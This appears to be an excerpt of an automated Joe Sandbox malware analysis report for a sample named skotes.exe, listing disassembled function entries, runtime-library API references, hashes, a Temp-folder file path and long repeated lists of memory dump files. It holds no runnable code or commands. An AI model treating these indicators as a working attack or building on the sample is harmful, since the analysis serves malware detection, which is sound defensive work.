Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: 957184951488bc8be4ea3245f8fca1cd19b7335177c2f7e1b0a7b45c457ebeb2
Instruction ID: 7b9c5fc90776a2ce920fb3c054683133163d41507f06711a4a7349daf195b2ea
Opcode Fuzzy Hash: 957184951488bc8be4ea3245f8fca1cd19b7335177c2f7e1b0a7b45c457ebeb2
Instruction Fuzzy Hash: 80317E71A002158FCB36DFA8C8415ADB7F4AF4D310B2580AEE549EB351DB389E02CBA1

Function 0038D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0038D344
ListArray.LIBCONCRT ref: 0038D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0038D370
ListArray.LIBCONCRT ref: 0038D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0038D3B3

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 0704c1b7c4e1a34962c47d9e9a75d2a73f06fd3f0915695aa04271cf6b743345
Instruction ID: 8c9b89151312ace42492a4e22a1e45d5987eda72a54ad3a38c3e5b52997f3ecf
Opcode Fuzzy Hash: 0704c1b7c4e1a34962c47d9e9a75d2a73f06fd3f0915695aa04271cf6b743345
Instruction Fuzzy Hash: BE318279700710AFCB16EB54C485BAD77B6AF88310F1541D9E8069F391DB71ED41CB92

Function 003886C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 003886EE

Part of subcall function 0037EAD0: _SpinWait.LIBCONCRT ref: 0037EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00388702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00388734
List.LIBCMT ref: 003887B7
List.LIBCMT ref: 003887C6

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 914ee1c38a6ccd7b7cde40087960e2068694ec7d415421a899932e65719a6d12
Instruction ID: 09643f9f0913c41cdabc2c9ca2349ee029773398f65d966663a04007afb7068a
Opcode Fuzzy Hash: 914ee1c38a6ccd7b7cde40087960e2068694ec7d415421a899932e65719a6d12
Instruction Fuzzy Hash: 2F317A36D01355DFCB26EFA4C5816EDB7B1BF04318FA540AAE4467B652CB35AE04CB90

Function 0039182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 003918A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 003918EB

Strings

pContext, xrefs: 0039189C

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 1dd3edb68a8ff7802a65d0b544c520584fcd56bf66464cdca7cc39a45ead353c
Instruction ID: 1a54394614d0452f187cd74623312825db0d37a8096af19b8afb97d4a1e79816
Opcode Fuzzy Hash: 1dd3edb68a8ff7802a65d0b544c520584fcd56bf66464cdca7cc39a45ead353c
Instruction Fuzzy Hash: BF213B31B046169BCF2BB768C855ABD73A9BF80334B05051AE511AB6D1CF74EC41DBD1

Function 0039DFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

69, xrefs: 0039E034
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0039DFE8

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 69$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-3703559010
Opcode ID: aacc0302dbf9b4da50a409109b4f81716b3b74e60d93ff8a6fbebcd342144188
Instruction ID: d4350fe580ec41e8a815612fe081f18088b84f64cb108c968616a7f8162ba133
Opcode Fuzzy Hash: aacc0302dbf9b4da50a409109b4f81716b3b74e60d93ff8a6fbebcd342144188
Instruction Fuzzy Hash: AB21C071604219BFEF32EF669D81E6BB7ADEF013647114614F9299B791EBB0EC008760

Function 0038AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0038AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0038AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0038AF4E

Strings

pExecutionResource, xrefs: 0038AF07

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
